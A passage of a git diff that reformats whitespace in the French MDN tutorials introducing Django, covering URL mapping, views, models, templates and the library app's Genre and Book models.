Frameworks](http://hotframeworks.com/) tentent d'estimer cette popularité en utilisant des moyens comme le comptage de projets GitHub et de questions sur StackOverflow pour chaque plateforme). Une meilleure question serait plutôt est-ce que Django est "suffisamment populaire" pour éviter les problèmes des plateformes moins populaires. Va-t-il continuer d'évoluer ? Pourrez-vous obtenir de l'aide si vous en avez besoin ? Aurez-vous des opportunités d'emploi si vous apprenez Django ? Si l'on se base sur la quantité de sites web reconnus qui utilisent Django, la quantité de personnes contribuant à son code source, et la quantité de personnes fournissant du support libre ou payant, alors oui, Django est un framework populaire ! -Parmi les sites web qui utilisent Django, on retrouve : Disqus, Instagram, la Knight Foundation, la MacArthur Foundation, Mozilla, National Geographic, l'Open Knowledge Foundation, Pinterest et Open Stack (source : [Page d'accueil de Django](https://www.djangoproject.com/)). +Parmi les sites web qui utilisent Django, on retrouve : Disqus, Instagram, la Knight Foundation, la MacArthur Foundation, Mozilla, National Geographic, l'Open Knowledge Foundation, Pinterest et Open Stack (source : [Page d'accueil de Django](https://www.djangoproject.com/)). ## Django est-il restrictif ? @@ -103,10 +103,10 @@ Les applications web Django regroupent généralement le code qui gère chacune  -- **URLs :** Bien qu'il soit possible de traiter les requêtes de chaque URL via une fonction unique, il est bien plus viable d'écrire une fonction de vue isolée qui gèrera chaque ressource. Un mapper URL est utilisé pour rediriger les requêtes HTTP à la vue appropriée d'après l'URL de requête. Le mapper URL peut aussi faire la correspondance entre des patterns de chaînes de caractères ou de nombres qui apparaissent dans une URL et passer ces derniers comme données dans une fonction de vue. -- **Vues :** Une vue est une fonction de gestion des requêtes, qui reçoit des requêtes HTTP et renvoie des réponses HTTP. Les vues accèdent aux données requises pour satisfaire des requêtes via des _modèles_, et délèguent le formatage des réponses aux *templates*. -- **Modèles :** Les modèles sont des objets Python, qui définissent la structure des données d'une application, et fournissent des mécanismes de gestion (ajout, modification, suppression) et requêtent les enregistrements d'une base de données. -- **Templates:** Un template est un fichier texte qui définit la structure ou la mise en page d'un fichier (comme une page HTML), avec des balises utilisées pour représenter le contenu. Une *vue* peut créer une page HTML en dynamique en utilisant un template HTML, en la peuplant avec les données d'un *modèle*. Un template peut-être utilisé pour définir la structure de n'importe quel type de fichier; il n'est pas obligatoire que ce dernier soit un HTML ! +- **URLs :** Bien qu'il soit possible de traiter les requêtes de chaque URL via une fonction unique, il est bien plus viable d'écrire une fonction de vue isolée qui gèrera chaque ressource. Un mapper URL est utilisé pour rediriger les requêtes HTTP à la vue appropriée d'après l'URL de requête. Le mapper URL peut aussi faire la correspondance entre des patterns de chaînes de caractères ou de nombres qui apparaissent dans une URL et passer ces derniers comme données dans une fonction de vue. +- **Vues :** Une vue est une fonction de gestion des requêtes, qui reçoit des requêtes HTTP et renvoie des réponses HTTP. Les vues accèdent aux données requises pour satisfaire des requêtes via des _modèles_, et délèguent le formatage des réponses aux *templates*. +- **Modèles :** Les modèles sont des objets Python, qui définissent la structure des données d'une application, et fournissent des mécanismes de gestion (ajout, modification, suppression) et requêtent les enregistrements d'une base de données. +- **Templates:** Un template est un fichier texte qui définit la structure ou la mise en page d'un fichier (comme une page HTML), avec des balises utilisées pour représenter le contenu. Une *vue* peut créer une page HTML en dynamique en utilisant un template HTML, en la peuplant avec les données d'un *modèle*. Un template peut-être utilisé pour définir la structure de n'importe quel type de fichier; il n'est pas obligatoire que ce dernier soit un HTML ! > **Note :** Django mentionne cette organisation sous le nom d'architecture "Modèle Vue Template". Elle a plusieurs similarités avec l'architecture [Modèle Vue Contrôleur](/fr/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture). @@ -114,27 +114,27 @@ Les sections ci-dessous vous donneront une idée de ce à quoi ressemble ces dif ### Envoyer la requête à la bonne vue (urls.py) -Le mapper URL est généralement stocké dans un fichier nommé **urls.py**. Dans l'exemple ci-dessous, le mapper (`urlpatterns`) définit une liste de mappings entre des *routes* (des *patterns* d'URL spécifiques*)* et leur fonction de vue correspondante. Si une requête HTTP est reçue dont l'URL correspond à un pattern spécifié, la fonction vue associée sera alors appelée et passée dans la requête. +Le mapper URL est généralement stocké dans un fichier nommé **urls.py**. Dans l'exemple ci-dessous, le mapper (`urlpatterns`) définit une liste de mappings entre des *routes* (des *patterns* d'URL spécifiques*)* et leur fonction de vue correspondante. Si une requête HTTP est reçue dont l'URL correspond à un pattern spécifié, la fonction vue associée sera alors appelée et passée dans la requête. urlpatterns = [ path('admin/', admin.site.urls), - path('book/<int:id>/', views.book-detail, name='book-detail'), + path('book/<int:id>/', views.book-detail, name='book-detail'), path('catalog/', include('catalog.urls')), re_path(r'^([0-9]+)/$', views.best), ] -L'objet `urlpatterns` est une liste de fonctions `path()` et/ou `re_path()`(les listes en Python sont définies en utilisant des crochets), où des éléments sont séparés par des virgules et peuvent avoir une [virgule de traîne optionnelle](https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples). Par exemple : `[item1, item2, item3,]`). +L'objet `urlpatterns` est une liste de fonctions `path()` et/ou `re_path()`(les listes en Python sont définies en utilisant des crochets), où des éléments sont séparés par des virgules et peuvent avoir une [virgule de traîne optionnelle](https://docs.python.org/2/faq/design.html#why-does-python-allow-commas-at-the-end-of-lists-and-tuples). Par exemple : `[item1, item2, item3,]`). Le premier argument de chaque méthode est une route (pattern) qui sera reconnu. -La méthode `path()` utilise des chevrons pour définir les parties de l'URL qui seront capturées et passées dans les fonctions vues comme arguments nommés. La fonction `re_path()` utilise une approche de correspondance de pattern flexible, connue sous le nom d'expression régulière. Nous parlerons de ces dernières dans un prochain article ! +La méthode `path()` utilise des chevrons pour définir les parties de l'URL qui seront capturées et passées dans les fonctions vues comme arguments nommés. La fonction `re_path()` utilise une approche de correspondance de pattern flexible, connue sous le nom d'expression régulière. Nous parlerons de ces dernières dans un prochain article ! -Le second argument est une autre fonction qui sera appelée quand le pattern sera reconnu. La notation `views.book-detail` indique que la fonction s'appelle `book-detail()` , et qu'elle se trouve dans un module appelé `views` (i.e. dans un fichier intitulé `views.py`) +Le second argument est une autre fonction qui sera appelée quand le pattern sera reconnu. La notation `views.book-detail` indique que la fonction s'appelle `book-detail()` , et qu'elle se trouve dans un module appelé `views` (i.e. dans un fichier intitulé `views.py`) ### Traiter la requête (views.py) Les vues sont le coeur des applications web. Elles reçoivent des requêtes HTTP de clients web et renvoient des réponses HTTP. Entretemps, elles mobilisent les autres ressources du framework pour accéder aux bases de données, préparer le rendu des templates, etc. -L'exemple ci-dessous montre une fonction vue minimale `index()`, qui pourrait être appelée par notre mapper URL de la section précédente. Comme toutes les fonctions vues, elle reçoit un objet `HttpRequest` comme paramètre (`request`) et renvoie un objet `HttpResponse`. Dans notre cas on ne fait rien de spécial avec la requête; et notre réponse ne renvoie qu'une chaîne de caractères brute. Nous vons montrerons une requête plus intéressante dans une autre section. +L'exemple ci-dessous montre une fonction vue minimale `index()`, qui pourrait être appelée par notre mapper URL de la section précédente. Comme toutes les fonctions vues, elle reçoit un objet `HttpRequest` comme paramètre (`request`) et renvoie un objet `HttpResponse`. Dans notre cas on ne fait rien de spécial avec la requête; et notre réponse ne renvoie qu'une chaîne de caractères brute. Nous vons montrerons une requête plus intéressante dans une autre section. ```python ## nom du fichier : view.py (fonction vue Django) @@ -150,16 +150,16 @@ def index(request): > **Note :** Un peu de Python : > -> - Les [modules Python](https://docs.python.org/3/tutorial/modules.html) sont des librairies de fonctions, stockés dans des fichiers séparés que l'on peut vouloir utiliser dans notre code. Ici, nous importons l'objet `HttpResponse` du module `django.http` pour qu'on puisse l'utiliser dans notre vue : `from django.http import HttpResponse` . Il y a d'autres façons d'importer quelques objets (ou tous les objets) d'un module. -> - Les fonctions sont déclarées en utilisant le mot-clé `def` comme indiqué ci-dessus, avec des paramètres nommés listés entre parenthèses après le nom de la fonction; la ligne se termine ensuite par deux points. Notez que les lignes suivantes sont **indentées**. L'indentation est importante, car elle spécifie que les lignes de code sont contenues dans un bloc particulier (l'indentation obligatoire est un élément clé de Python, et une des raisons pour lesquelles le code Python est si simple à lire). +> - Les [modules Python](https://docs.python.org/3/tutorial/modules.html) sont des librairies de fonctions, stockés dans des fichiers séparés que l'on peut vouloir utiliser dans notre code. Ici, nous importons l'objet `HttpResponse` du module `django.http` pour qu'on puisse l'utiliser dans notre vue : `from django.http import HttpResponse` . Il y a d'autres façons d'importer quelques objets (ou tous les objets) d'un module. +> - Les fonctions sont déclarées en utilisant le mot-clé `def` comme indiqué ci-dessus, avec des paramètres nommés listés entre parenthèses après le nom de la fonction; la ligne se termine ensuite par deux points. Notez que les lignes suivantes sont **indentées**. L'indentation est importante, car elle spécifie que les lignes de code sont contenues dans un bloc particulier (l'indentation obligatoire est un élément clé de Python, et une des raisons pour lesquelles le code Python est si simple à lire). Les vues sont généralement stockées dans un fichier nommé **views.py**. ### Définir les modèles de données (models.py) -Les applications web Django gèrent et requêtent les données via des objets Python appelés modèles. Les modèles définissent la structure des données stockées, ce qui inclut le champ *types* ainsi qu'au besoin leur taille maximum, les valeurs par défaut, les options de listes pouvant être sélectionnées, le texte d'aide pour la documentation — vous pouvez choisir ce dont vous avez besoin par rapport aux spécifications de votre projet. Une fois que vous avez choisi la base de données que vous souhaitez utiliser, vous n'avez pas du tout besoin de communiquer avec elle directement — vous n'avez qu'à écrire la structure de votre modèle, Django s'occupe du sale boulot de la communication avec la base de données pour vous. +Les applications web Django gèrent et requêtent les données via des objets Python appelés modèles. Les modèles définissent la structure des données stockées, ce qui inclut le champ *types* ainsi qu'au besoin leur taille maximum, les valeurs par défaut, les options de listes pouvant être sélectionnées, le texte d'aide pour la documentation — vous pouvez choisir ce dont vous avez besoin par rapport aux spécifications de votre projet. Une fois que vous avez choisi la base de données que vous souhaitez utiliser, vous n'avez pas du tout besoin de communiquer avec elle directement — vous n'avez qu'à écrire la structure de votre modèle, Django s'occupe du sale boulot de la communication avec la base de données pour vous. -L'extrait de code ci-dessous montre un modèle Django très simple pour un objet `Team`. La classe `Team` est dérivée de la classe Django `models.Model`. Elle définit le nom et le niveau de l'équipe comme des chaînes de caractères et elle spécifie le nombre maximum de caractères pouvant être stockés pour chaque enregistrement. Le champ `team_level` peut avoir plusieurs valeurs, donc nous le définissons comme une liste de choix, puis on fournit à la classe un mapping entre les choix qui seront affichés et les données stockées, avec une valeur par défaut. +L'extrait de code ci-dessous montre un modèle Django très simple pour un objet `Team`. La classe `Team` est dérivée de la classe Django `models.Model`. Elle définit le nom et le niveau de l'équipe comme des chaînes de caractères et elle spécifie le nombre maximum de caractères pouvant être stockés pour chaque enregistrement. Le champ `team_level` peut avoir plusieurs valeurs, donc nous le définissons comme une liste de choix, puis on fournit à la classe un mapping entre les choix qui seront affichés et les données stockées, avec une valeur par défaut. ```python # nom du fichier : models.py @@ -167,28 +167,28 @@ L'extrait de code ci-dessous montre un modèle Django très simple pour un objet from django.db import models class Team(models.Model): - team_name = models.CharField(max_length=40) - - TEAM_LEVELS = ( - ('U09', 'Under 09s'), - ('U10', 'Under 10s'), - ('U11', 'Under 11s'), - ... # lister les autres niveaux d'équipes - ) - team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11', 'Under 11s'), + ... # lister les autres niveaux d'équipes + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') ``` > **Note :** Un peu de Python : > -> - Python supporte la "programmation orientée-objet", un type de programmation où l'on organise notre code en objets, ce qui inclut les données et fonctions liées qui agiront sur les données. Les objets peuvent être hérités/étendus/dérivés d'autres objets, ce qui permet à ces objets de partager un comportement commun. En Python, on utilise le mot-clé `class` pour définir le "squelette" d'un objet. On peut créer plusieurs *instances* spécifiques de ce type d'objet d'après le modèle d'une classe. +> - Python supporte la "programmation orientée-objet", un type de programmation où l'on organise notre code en objets, ce qui inclut les données et fonctions liées qui agiront sur les données. Les objets peuvent être hérités/étendus/dérivés d'autres objets, ce qui permet à ces objets de partager un comportement commun. En Python, on utilise le mot-clé `class` pour définir le "squelette" d'un objet. On peut créer plusieurs *instances* spécifiques de ce type d'objet d'après le modèle d'une classe. > -> Ainsi par exemple, nous avons ici une classe `Team`, dérivée de la classe `Model`. Cela signifie que c'est un modèle, et qu'elle contiendra toutes les méthodes d'un modèle, mais qu'on peut aussi lui donner des caractéristiques spécifiques. Dans notre modèle, nous définissons les champs dont aura besoin notre base de données, en leur donnant des noms spécifiques. Django utilisera ces définitions, ce qui inclut aussi le nom des champs, pour créer la base de données sous-jacente. +> Ainsi par exemple, nous avons ici une classe `Team`, dérivée de la classe `Model`. Cela signifie que c'est un modèle, et qu'elle contiendra toutes les méthodes d'un modèle, mais qu'on peut aussi lui donner des caractéristiques spécifiques. Dans notre modèle, nous définissons les champs dont aura besoin notre base de données, en leur donnant des noms spécifiques. Django utilisera ces définitions, ce qui inclut aussi le nom des champs, pour créer la base de données sous-jacente. ### Requêter les données (views.py) Le modèle Django fournit une API de requête simplifiée qui nous permet de faire des recherches dans une base de données. Cette API peut inclure plusieurs champs à la fois en supportant plusieurs critères (e.g. exactement, insensible à la casse, supérieur à, etc.), et peut supporter des déclarations complexes (par exemple, vous pouvez spécifier une recherche sur les équipes U11 ayant un nom d'équipe commençant par "Fr" ou se terminant par "al"). -L'extrait de code ci-dessous montre une fonction vue (gestionnaire de ressources) affichant toutes nos équipes U09. La ligne en gras montre comment on peut utiliser l'API de requête pour filtrer tous les enregistrements où le champ `team_level` comprend strictement le texte 'U09' (notez comment ce critère est passé dans la fonction `filter()` comme argument, où le nom du champ et le type de correspondance sont séparés par un double underscore : **team_level\_\_exact**). +L'extrait de code ci-dessous montre une fonction vue (gestionnaire de ressources) affichant toutes nos équipes U09. La ligne en gras montre comment on peut utiliser l'API de requête pour filtrer tous les enregistrements où le champ `team_level` comprend strictement le texte 'U09' (notez comment ce critère est passé dans la fonction `filter()` comme argument, où le nom du champ et le type de correspondance sont séparés par un double underscore : **team_level\_\_exact**). ```python ## nom du fichier : views.py @@ -197,18 +197,18 @@ from django.shortcuts import render from .models import Team def index(request): - list_teams = Team.objects.filter(team_level__exact="U09") - context = {'youngest_teams': list_teams} - return render(request, '/best/index.html', context) + list_teams = Team.objects.filter(team_level__exact="U09") + context = {'youngest_teams': list_teams} + return render(request, '/best/index.html', context) ``` -Cette fonction utilise la fonction `render()` pour créer la `HttpResponse` qui est renvoyée au navigateur. Cette fonction est un _raccourci_; elle créée un fichier HTML en combinant un template HTML spécifique et des données à insérer dans le template (fournies dans la variable appelée "`context`"). Dans la prochaine section, nous vous montrons comment des données sont insérées dans le template pour générer le HTML. +Cette fonction utilise la fonction `render()` pour créer la `HttpResponse` qui est renvoyée au navigateur. Cette fonction est un _raccourci_; elle créée un fichier HTML en combinant un template HTML spécifique et des données à insérer dans le template (fournies dans la variable appelée "`context`"). Dans la prochaine section, nous vous montrons comment des données sont insérées dans le template pour générer le HTML. ### Renvoyer les données (templates HTML) Les systèmes template vous permettent de spécifier la structure d'un document en output, en utilisant des paramètres fictifs qui seront substitués par les données lorsque la page est générée. Les templates sont souvent utilisées pour créer du HTML, mais ils peuvent aussi être utilisées pour créer d'autres types de documents. Django supporte à la fois son système natif de template ainsi qu'une autre librairie Python populaire prête à l'emploi appelée Jinja2 (il peut aussi supporter d'autres systèmes au besoin). -L'extrait de code ci-dessous montre à quoi pourrait ressembler le template HTML de la section précédente une fois appelé par la fonction `render().` Ce template a été écrit avec l'hypothèse qu'il aurait accès à une liste de variables appelées `youngest_teams` lorsqu'il est généré (contenu dans la variable `context` dans la fonction `render()` ci-dessus). Dans le squelette HTML nous avons une expression qui vérifie tout d'abord que la variable `youngest_teams` existe, puis itère dessus dans une boucle `for` . À chaque itération, le template affiche la valeur du `team_name` de chaque équipe dans un élément {{htmlelement("li")}}. +L'extrait de code ci-dessous montre à quoi pourrait ressembler le template HTML de la section précédente une fois appelé par la fonction `render().` Ce template a été écrit avec l'hypothèse qu'il aurait accès à une liste de variables appelées `youngest_teams` lorsqu'il est généré (contenu dans la variable `context` dans la fonction `render()` ci-dessus). Dans le squelette HTML nous avons une expression qui vérifie tout d'abord que la variable `youngest_teams` existe, puis itère dessus dans une boucle `for` . À chaque itération, le template affiche la valeur du `team_name` de chaque équipe dans un élément {{htmlelement("li")}}. ```python ## nom du fichier : best/templates/best/index.html @@ -218,13 +218,13 @@ L'extrait de code ci-dessous montre à quoi pourrait ressembler le template HTML <body> {% if youngest_teams %} - <ul> - {% for team in youngest_teams %} - <li>\{\{ team.team_name \}\}</li> - {% endfor %} - </ul> + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> {% else %} - <p>No teams are available.</p> + <p>No teams are available.</p> {% endif %} </body> @@ -235,11 +235,11 @@ L'extrait de code ci-dessous montre à quoi pourrait ressembler le template HTML Les sections précédentes présentent les caractéristiques principales que vous utiliserez dans presque toutes vos applications web : mapping URL, vues, modèles et templates. Parmi les autres caractéristiques offertes par Django, on peut aussi trouver : -- **Formulaires** : Les formulaires HTML sont utilisés pour collecter des données utilisateurs qui seront traitées sur le serveur. Django simplifie la création, la validation et le traitement des formulaires. -- **Authentification et permissions des utilisateurs**: Django inclut un système d'authentification utilisateur et de gestion des permissions robuste créé avec la sécurité comme priorité lors de sa conception. -- **Cache** : Générer du contenu en dynamique demande bien plus de ressources computationnelles (et est plus lent) que de servir du contenu statique. Django fournit un système de cache flexible qui vous permet de stocker toute ou une partie d'une page afin qu'elle ne soit re-générée que lorsque c'est nécessaire. -- **Administration du site** : L'administration du site avec Django est incluse par défaut lorsque vous créez une application en utilisant le squelette de base. Django permet de créer très simplement une page d'administration où les administrateurs peuvent créer, éditer et voir n'importe quel modèle de données sur votre site. -- **Sérialisation des données** : Django permet de simplifier la sérialisation et de servir vos données en XML ou en JSON. Cela peut être utile si vous créez un service web (un site web dont le seul but est de servir des données qui seront utilisées par d'autres applications ou sites, mais n'affiche rien par lui-même), ou quand vous créez un site web où le code côté client s'occupe d'afficher les données. +- **Formulaires** : Les formulaires HTML sont utilisés pour collecter des données utilisateurs qui seront traitées sur le serveur. Django simplifie la création, la validation et le traitement des formulaires. +- **Authentification et permissions des utilisateurs**: Django inclut un système d'authentification utilisateur et de gestion des permissions robuste créé avec la sécurité comme priorité lors de sa conception. +- **Cache** : Générer du contenu en dynamique demande bien plus de ressources computationnelles (et est plus lent) que de servir du contenu statique. Django fournit un système de cache flexible qui vous permet de stocker toute ou une partie d'une page afin qu'elle ne soit re-générée que lorsque c'est nécessaire. +- **Administration du site** : L'administration du site avec Django est incluse par défaut lorsque vous créez une application en utilisant le squelette de base. Django permet de créer très simplement une page d'administration où les administrateurs peuvent créer, éditer et voir n'importe quel modèle de données sur votre site. +- **Sérialisation des données** : Django permet de simplifier la sérialisation et de servir vos données en XML ou en JSON. Cela peut être utile si vous créez un service web (un site web dont le seul but est de servir des données qui seront utilisées par d'autres applications ou sites, mais n'affiche rien par lui-même), ou quand vous créez un site web où le code côté client s'occupe d'afficher les données. ## Sommaire diff --git a/files/fr/learn/server-side/django/models/index.md b/files/fr/learn/server-side/django/models/index.md index 97aefd906c..4ec6ede427 100644 --- a/files/fr/learn/server-side/django/models/index.md +++ b/files/fr/learn/server-side/django/models/index.md @@ -49,7 +49,7 @@ Vous pourriez aussi utiliser les modèles pour définir des listes d'options (co Le choix du modèle étant posé, nous avons à considérer les relations entre les objets. Django permet d'établir trois types de relation : les relations un à un qui mettent en relation un et un seul objet avec un autre (`OneToOneField`), les relations un à n qui partage l'appartenance d'un objet à avec d'autres (`ForeignKey`) et les relations n à n qui associent des groupes d'objets entre-eux (`ManyToManyField`). -Avec ces éléments présents à l'esprit, le diagramme de classes UML ci-dessous décrit les objets de la bibliothèque. +Avec ces éléments présents à l'esprit, le diagramme de classes UML ci-dessous décrit les objets de la bibliothèque.  @@ -70,24 +70,24 @@ Les objets sont **toujours** définis dans le fichier **models.py** de chaque ap from django.db import models class MyModelName(models.Model): - """A typical class defining a model, derived from the Model class.""" + """A typical class defining a model, derived from the Model class.""" - # Fields - my_field_name = models.CharField(max_length=20, help_text='Enter field documentation') - ... + # Fields + my_field_name = models.CharField(max_length=20, help_text='Enter field documentation') + ... - # Metadata + # Metadata class Meta: - ordering = ['-my_field_name'] + ordering = ['-my_field_name'] - # Methods - def get_absolute_url(self): - """Returns the url to access a particular instance of MyModelName.""" - return reverse('model-detail-view', args=[str(self.id)]) + # Methods + def get_absolute_url(self): + """Returns the url to access a particular instance of MyModelName.""" + return reverse('model-detail-view', args=[str(self.id)]) - def __str__(self): - """String for representing the MyModelName object (in Admin site etc.).""" - return self.my_field_name + def __str__(self): + """String for representing the MyModelName object (in Admin site etc.).""" + return self.my_field_name Détaillons ce qu'il en retourne : @@ -99,7 +99,7 @@ Chaque objet peut contenir autant d'attributs que de besoin et de quelque type q my_field_name = models.CharField(max_length=20, help_text='Enter field documentation') ``` -Dans l'exemple ci-dessus, le champs est une chaîne de caractères — de type `models.CharField` — dont le nom est `my_field_name`. Les champs ont des types pré-définis représentés par une classe d'objet Django qui va permettre de caractériser une champ du modèle de données. Cela permet aussi de valider les données qui seront fournies via les formulaires du site web décrits avec le langage HTML. Les classes caractérisant les type de champs peuvent accepter des paramètres pour préciser les contraintes appliquées à ce champ. Dans cet exemple, deux arguments sont indiqués : +Dans l'exemple ci-dessus, le champs est une chaîne de caractères — de type `models.CharField` — dont le nom est `my_field_name`. Les champs ont des types pré-définis représentés par une classe d'objet Django qui va permettre de caractériser une champ du modèle de données. Cela permet aussi de valider les données qui seront fournies via les formulaires du site web décrits avec le langage HTML. Les classes caractérisant les type de champs peuvent accepter des paramètres pour préciser les contraintes appliquées à ce champ. Dans cet exemple, deux arguments sont indiqués : - `max_length=20` — Défini que ce champs fait au plus 20 caractères. - `help_text='Enter field documentation'` — attribue un label par défaut qui sera affiché dans la page web par le navigateur. @@ -126,7 +126,7 @@ L'ensemble [des options de champs](https://docs.djangoproject.com/fr/2.2/ref/mod Vous trouverez ci-dessous les arguments les principaux type de champs : -- [CharField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.CharField) caractérise un champ de type chaîne de caractères de taille maximale fixe. Ce champ nécessite l'option obligatoire `max_length` pour définir la taille maximale de la chaîne de caractère. +- [CharField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.CharField) caractérise un champ de type chaîne de caractères de taille maximale fixe. Ce champ nécessite l'option obligatoire `max_length` pour définir la taille maximale de la chaîne de caractère. - [TextField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.TextField) caractérise un champs texte (de longeur non définit dans la base de données). Si l'option `max_length` est utilisé, celui-ci précisera la taille du champs texte des formulaires web mais n'aura pas d'impact dans la définition du champs en base de données. - [IntegerField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#django.db.models.IntegerField "django.db.models.IntegerField") caractérise un champs de type nombre entier. - [DateField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#datefield) et [DateTimeField](https://docs.djangoproject.com/fr/2.2/ref/models/fields/#datetimefield) sont des type utilisées pour caractériser une date et une heure comme les objets `datetime.date` et `datetime.datetime` en Python. Les options (incompatibles ensemble) les plus courantes pour ces champs sont l'enregistrement au moment de la sauvegarde (`auto_now=True`), l'enregistrement à la création de l'objet (`auto_now_add`) et une valeur par défaut (`default)` qui pourra être changée par l'utilisateur. @@ -140,7 +140,7 @@ L'ensemble [des types de champs](https://docs.djangoproject.com/fr/2.2/ref/model #### Métadonnées -Vous avez la capacité de déclarer des métadonnées à l'aide de la classe `class Meta`, comme précisé ci-dessous : +Vous avez la capacité de déclarer des métadonnées à l'aide de la classe `class Meta`, comme précisé ci-dessous : ```python class Meta: @@ -157,7 +157,7 @@ ordering = ['title', '-pubdate'] Les livres sont présenté dans l'ordre alphabétique de leur titre, puis dans l'ordre chronologique du plus récent au plus ancien. -Un autre attribut très utile est celui d'un nom vernaculaire pour la classe, `verbose_name` peut être au singulier et au pluriel : +Un autre attribut très utile est celui d'un nom vernaculaire pour la classe, `verbose_name` peut être au singulier et au pluriel : ```python verbose_name = 'BetterName' @@ -177,7 +177,7 @@ Comme tout objet Python, une classe héritée de `model` peut utiliser des méth ```python def __str__(self): - return self.field_name + return self.field_name ``` Une seconde méthode très utilisée dans le cadriciel Django est `get_absolute_url()`. Elle permet de fournir un URL pour afficher dans le site web le contenu de de chacun des enregistrements associés au modèle de données décrit. Si vous utilisez cette méthode, Django ajoutera un bouton pour permet de visualiser le détail des enregistrements. Classiquement, une méthode `get_absolute_url()` est de la forme : @@ -196,7 +196,7 @@ Vous pouvez aussi définir toute les méthodes dont vous aurez besoin pour manip ### Administration des données -A partir du moment où vous avez créé votre modèle de données, vous pouvez manipuler les instances pour créer, mettre à jour ou supprimer les enregistrements en base de données. Vous pouvez aussi faire des requêtes pour obtenir tout ou parti des enregistrements de la base. L'objet de cette section est d'évoquer la manière de manipuler ces données et sera revu progressivement dans les avancées de l'application Bibliothèque. +A partir du moment où vous avez créé votre modèle de données, vous pouvez manipuler les instances pour créer, mettre à jour ou supprimer les enregistrements en base de données. Vous pouvez aussi faire des requêtes pour obtenir tout ou parti des enregistrements de la base. L'objet de cette section est d'évoquer la manière de manipuler ces données et sera revu progressivement dans les avancées de l'application Bibliothèque. #### Créer et modifier des enregistrements @@ -252,7 +252,7 @@ Le marqueur "double souligné" permet de construire une chaîne de navigation à books_containing_genre = Book.objects.filter(genre__name__icontains='fiction') ``` -> **Note :** Vous pouvez construire une chemin pour naviguer dans autant de niveaux de relation (`ForeignKey`/`ManyToManyField`) que vous en avez besoin en concaténant des noms de champs à l'aide (\_\_) . Si par exemple vous souhaitez trouver un livre (`Book`) qui possède différents type (`type`) de couvertures (`cover`) identifiées par des noms (`name`) alors le chemin sera du type : `type__cover__name__exact='hard'.` +> **Note :** Vous pouvez construire une chemin pour naviguer dans autant de niveaux de relation (`ForeignKey`/`ManyToManyField`) que vous en avez besoin en concaténant des noms de champs à l'aide (\_\_) . Si par exemple vous souhaitez trouver un livre (`Book`) qui possède différents type (`type`) de couvertures (`cover`) identifiées par des noms (`name`) alors le chemin sera du type : `type__cover__name__exact='hard'.` La mise en oeuvre des requêtes est très riches en fonction des modèles et des relations, de sous-ensemble de données, etc. Pour une informations détaillées, vous devez consulter [les requêtes](https://docs.djangoproject.com/fr/2.2/topics/db/queries/) sur le site de référence de Django. @@ -268,17 +268,17 @@ from django.db import models ### L'objet Genre -Cet objet est utilisé pour décrire et enregistrer le genre littéraire des livres — par exemple une fiction, une polard ou un roman. Comme cela a été évoqué précédemment, nous créons un modèle de données plutôt que de gérer cela à l'aide de texte libre ou de codage en dur. Copiez le texte ci-dessous à la fin du fichier _models.py_. +Cet objet est utilisé pour décrire et enregistrer le genre littéraire des livres — par exemple une fiction, une polard ou un roman. Comme cela a été évoqué précédemment, nous créons un modèle de données plutôt que de gérer cela à l'aide de texte libre ou de codage en dur. Copiez le texte ci-dessous à la fin du fichier _models.py_. ```python class Genre(models.Model): - """Cet objet représente une catégorie ou un genre littéraire.""" - name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)') + """Cet objet représente une catégorie ou un genre littéraire.""" + name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)') - def __str__(self): - """Cette fonction est obligatoirement requise par Django. + def __str__(self): + """Cette fonction est obligatoirement requise par Django. Elle retourne une chaîne de caractère pour identifier l'instance de la classe d'objet.""" - return self.name + return self.name ``` L'objet, en relation avec la base de données, possède un seul attribut (`name`) de type chaîne de caractères (`CharField`), qui sera utilisé pour décrire le genre d'un livre (limité à 200 caractères). Une option (`help_text)` permet d'utiliser une étiquettes d'aide dans les pages et formulaires du site web. La méthode `__str__()`, qui retourne simplement le nom du genre littéraire de chaque enregistrement. Puisque qu'il n'y a pas de nom vernaculaire (`verbose_name`), le champ sera simplement nommé `Name` dans les formulaires. @@ -291,37 +291,37 @@ Comme précédemment, vous pouvez copier le descriptif de l'objet Book à la fin from django.urls import reverse # Cette fonction est utilisée pour formater les URL class Book(models.Model): - """Cet objet représente un livre (mais ne traite pas les copies présentes en rayon).""" - title = models.CharField(max_length=200) + """Cet objet représente un livre (mais ne traite pas les copies présentes en rayon).""" + title = models.CharField(max_length=200) # La clé étrangère (ForeignKey) est utilisée car elle représente correcte le modèle de relation en livre et son auteur : # Un livre a un seul auteur, mais un auteur a écrit plusieurs livres. # Le type de l'objet Author est déclré comme une chaîne de caractère car # la classe d'objet Author n'a pas encore été déclarée dans le fichier - author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True) + author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True) - summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book') - isbn = models.CharField('ISBN', max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') + summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book') + isbn = models.CharField('ISBN', max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') - # Le type ManyToManyField décrit correctement le modèle de relation en un livre et un genre. + # Le type ManyToManyField décrit correctement le modèle de relation en un livre et un genre. # un livre peut avoir plusieurs genres littéraire et réciproquement. - # Comme la classe d'objets Genre a été définit précédemment, nous pouvons manipuler l'objet. + # Comme la classe d'objets Genre a été définit précédemment, nous pouvons manipuler l'objet. genre = models.ManyToManyField(Genre, help_text='Select a genre for this book') - def __str__(self): - """Fonction requise par Django pour manipuler les objets Book dans la base de données.""" - return self.title + def __str__(self): + """Fonction requise par Django pour manipuler les objets Book dans la base de données.""" + return self.title - def get_absolute_url(self): - """Cette fonction est requise 